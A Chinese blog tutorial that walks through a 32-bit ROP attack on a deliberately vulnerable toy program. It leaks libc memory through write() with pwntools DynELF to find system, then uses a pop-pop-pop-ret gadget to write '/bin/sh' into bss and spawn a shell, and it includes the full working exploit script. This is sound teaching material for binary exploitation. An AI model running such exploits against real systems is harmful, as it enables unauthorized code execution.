初探ROP攻击 Memory Leak & DynELF

前言

通过泄露内存的方式可以获取目标程序libc中各函数的地址,这种攻击方式可以绕过地址随机化保护。

下文通过一个例子讨论泄露内存的ROP攻击,先看一个简单的程序。

(ps.本文中的源代码大家可以去我的Github中下载,链接在文章结尾。实践才会出真知啊~)

程序源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

通过以下命令编译程序(编译时关闭缓冲区溢出检测,编译为32位的程序)

$ gcc -m32 -fno-stack-protector -o 001 001.c 

程序分析

read函数这里显然存在一个缓存区溢出的漏洞,buf的长度是128read函数读取了256字节的数据,造成了缓冲区溢出。

程序001运行的时候由于通过动态链接编译,使用了libc中的函数,我们可以通过 lld 命令查看程序使用的共享库

$ ldd 001

libc

不同的操作系统的libc版本可能不同,不同版本libc中函数的地址也不同。比如system函数在libc 1.9.2 中的位置和libc 2.2.3中的位置不同。

可以通过以下命令查看自己操作系统中libc的版本

$ dpkg -l | grep libc

dpk

一般的操作系统默认开启了地址随机化的保护机制(可以通过checksec查看),程序每次运行的时候,载入到内存中的位置是随机的。
checksec

如下图,两次使用ldd查看001使用的共享库,可以发现地址已经变化了。

$ ldd 001

lddd

但是程序运行的时候libc已经载入到内存中了,这时libc的地址是一个固定的值,我们可以通过泄露内存的方法dump出程序正在使用的libc,从而找到libcsystem函数的地址。

也就是说我们需要构造一个能泄露至少一字节内存的payload:

'A' * N + p32(write_plt) + p32(ret) + p32(1) + p32(address) + p32(4)

输入N个字符后发生溢出,write_plt的地址将会覆盖read函数的返回地址,随后程序将会跳转到write函数,我们在栈中构造了write函数的3个参数返回地址,这段payload相当于让程序执行

write(1, address, 4);

这样就可以dump出内存中地址为address处的4字节数据。

知道如何从内存中dump数据后,便可以使用pwntools中的DynELF模块查找system函数,并获取system的地址。

攻击过程

首先需要确定输入多少字符时,溢出会发生
这里可以使用pwntools里面的cyclic工具生成字符串

$ cyclic 1000

cyclic1

然后用GDB调试001,找到溢出点
gdb

最后,再次使用pwntools中的cyclic查找字符串:

$ cyclic -l 0x6261616b
140

可以看到,第140字节后的4个字节会覆盖read函数的返回地址,所以泄露system地址的payload如下:

'A' * 140 + p32(write_plt) + p32(ret) + p32(1) + p32(address) + p32(4)

现在分析一下,将上述payload发送后,ret指令将要执行时,栈中的情况,如图:
st1

构造leak函数:

def leak(address):
    payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
    p.sendline(payload1)
    data = p.recv(4)
    log.info("%#x => %s" % (address, (data or '').encode('hex')))
    return data   

这段函数能从内存中addressdump4字节数据,函数执行结束后会返回main函数重新执行,也就是说利用这个函数,我们可以dump出整个libc

使用DynELF模块查找system函数地址:

d = DynELF(leak, elf=ELF('./001'))
system_addr= d.lookup('system', 'libc')

获取到system地址后便可以构造system("/bin/sh");攻击程序。由于程序中没有/bin/sh这个字符串,我们可以用read函数先它写入内存中一个固定的位置,然后再执行system函数

bss段在内存中的位置是固定的,所以可以将/bin/sh写到bss段中,payload如下:

'B' * 140 + p32(read_plt) + p(ret1) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(ret2) + p32(bss_addr)

现在栈中的情况如图:
stack2

我们构造的read函数有3个参数,这3个参数和read函数的返回地址不同,返回地址在ret指令执行时被pop出栈,但是这3个参数却还留在栈中,没有被弹出栈,这回影响我们构造的下一个函数system的执行,所以我们需要找一个连续pop三个寄存器的指令来平衡堆栈。这种指令很容易找到,如下:

$ objdump -d 001 | grep pop -C5

使用字符串过滤的方法即可。

我们找的pop指令后面还需要带有一个ret指令,这样我们平衡堆栈后可以返回到我们构造的函数,如下图所示:

gadgets

我们可以选取 0x804850d - 0x8048510这四条指令:

pop ebx; pop esi; pop ebp; ret

形如这样的一串汇编指令也叫作gadgets,在ROP攻击中利用很广泛。gadgets散落在程序汇编代码的各个角落,当程序的代码很长的时候,寻找gadgets就会变得很复杂,因此有人写过工具专门用来寻找程序中的gadgets,比如ROPgadgets

本文中找的gadgets比较简单,后续的文章中我会介绍寻找更加复杂的gadgets,构造ROP链攻击程序。

漏洞利用脚本

#!/usr/bin/python 
from pwn import *

p = process('001')
elf = ELF('001')

read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
main = elf.symbols['main']

def leak(address):
    payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
    p.sendline(payload1)
    data = p.recv(4)
    log.info("%#x => %s" % (address, (data or '').encode('hex')))
    return data

d = DynELF(leak, elf=ELF('001'))

system_addr = d.lookup('system', 'libc')
log.info("system_addr = " + hex(system_addr))

bss_addr = elf.symbols['__bss_start']
pppr = 0x804850d

payload2 = "B" * 140 + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(main) + p32(bss_addr)

p.sendline(payload2)
p.sendline("/bin/sh\0")

p.interactive()

More

本文中所有的源代码可以在我的Github中下载:
https://github.com/TaQini/pwn
~也欢迎大家和我一起学习二进制

预告

下一篇博客将介绍linux_x64中利用通用gadgets进行ROP攻击

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TaQini852

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值